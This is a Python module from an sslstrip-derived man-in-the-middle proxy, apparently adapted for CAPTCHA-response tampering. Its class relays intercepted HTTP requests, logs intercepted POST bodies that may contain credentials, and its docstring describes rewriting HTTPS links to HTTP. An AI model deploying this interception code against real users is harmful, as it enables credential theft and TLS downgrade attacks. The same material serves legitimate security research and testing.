# Copyright (c) 2012 Gursev Singh Kalra McAfee, Foundstone
# Copyright (c) 2004-2011 Moxie Marlinspike
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License as
# published by the Free Software Foundation; either version 3 of the
# License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful, but
# WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
# General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
# USA
#

import logging, re, string, random, zlib, gzip, StringIO

from twisted.web.http import HTTPClient
from URLMonitor import URLMonitor

class ServerConnection(HTTPClient):

	''' The server connection is where we do the bulk of the stripping.  Everything that
	comes back is examined.  The headers we dont like are removed, and the links are stripped
	from HTTPS to HTTP.
	'''

	urlExpression	 = re.compile(r"(https://[\w\d:#@%/;$()~_?\+-=\\\.&]*)", re.IGNORECASE)
	urlType		   = re.compile(r"https://", re.IGNORECASE)
	urlExplicitPort   = re.compile(r'https://([a-zA-Z0-9.]+):[0-9]+/',  re.IGNORECASE)

	def __init__(self, command, uri, postData, headers, client):
		self.command		  = command
		self.uri			  = uri
		self.postData		 = postData
		self.headers		  = headers
		self.client		   = client
		self.urlMonitor	   = URLMonitor.getInstance()
		self.isImageRequest   = False
		self.isCompressed	 = False
		self.contentLength	= None
		self.shutdownComplete = False

	def getLogLevel(self):
		return logging.DEBUG

	def getPostPrefix(self):
		return "POST"

	def sendRequest(self):
		logging.log(self.getLogLevel(), "Sending Request: %s %s"  % (self.command, self.uri))
		self.sendCommand(self.command, self.uri)

	def sendHeaders(self):
		for header, value in self.headers.items():
			logging.log(self.getLogLevel(), "Sending header: %s : %s" % (header, value))
			self.sendHeader(header, value)

		self.endHeaders()

	def sendPostData(self):
		logging.warning(self.getPostPrefix() + " Data (" + self.headers['host'] + "):\n" + str(self.postData))
		self.transport.write(self.postData)

	def connectionMade(self):
		logging.log(self.getLogLevel(), "HTTP connection made.")
		self.sendRequest()
		self.sendHeaders()
		
		if (self.command == 'POST'):
			self.sendPostData()

	# TODO : Update this method to update CAPTCHA verification response Status if required for certain CAPTCHAs. THIS IS THE PLACE
	def handleStatus(self, version, code, message):
		logging.log(self.getLogLevel(), "Got server response: %s %s %s" % (version, code, message))
		self.client.setResponseCode(int(code), message)

	# TODO : Update this method to update CAPTCHA verification response headers. THIS IS THE PLACE
	def handleHeader(self, key, value):
		logging.log(self.getLogLevel(), "Got server header: %s:%s" % (key, value))

		if (key.lower() == 'content-type'):
			if (value.find('image') != -1):
				self.isImageRequest = True
				logging.debug("Response is image content, not scanning...")

		if (key.lower() == 'content-encoding'):
			if (value.find('gzip') != -1):
				logging.debug("Response is compressed...")
				self.isCompressed = True
		elif (key.lower() == 'content-length'):
			self.contentLength = value
		else:
			self.client.setHeader(key, value)

	# TODO : Update this method to update CAPTCHA verification response headers. THIS IS THE PLACE
	def handleEndHeaders(self):
	   if (self.isImageRequest and self.contentLength != None):
		   self.client.setHeader("Content-Length", self.contentLength)

	   if self.length == 0:
		   self.shutdown()
						
	def handleResponsePart(self, data):
		if (self.isImageRequest):
			self.client.write(data)
		else:
			HTTPClient.handleResponsePart(self, data)

	def handleResponseEnd(self):
		if (self.isImageRequest):
			self.shutdown()
		else:
			HTTPClient.handleResponseEnd(self)

	def handleResponse(self, data):
		if (self.isCompressed):
			logging.debug("Decompressing content...")
			data = gzip.GzipFile('', 'rb', 9, StringIO.StringIO(data)).read()
			
		logging.log(self.getLogLevel(), "Read from server:\n" + data)

		if (self.contentLength != None):
			self.client.setHeader('Content-Length', len(data))
		
		self.client.write(data)
		self.shutdown()

	def shutdown(self):
		if not self.shutdownComplete:
			self.shutdownComplete = True
			self.client.finish()
			self.transport.loseConnection()


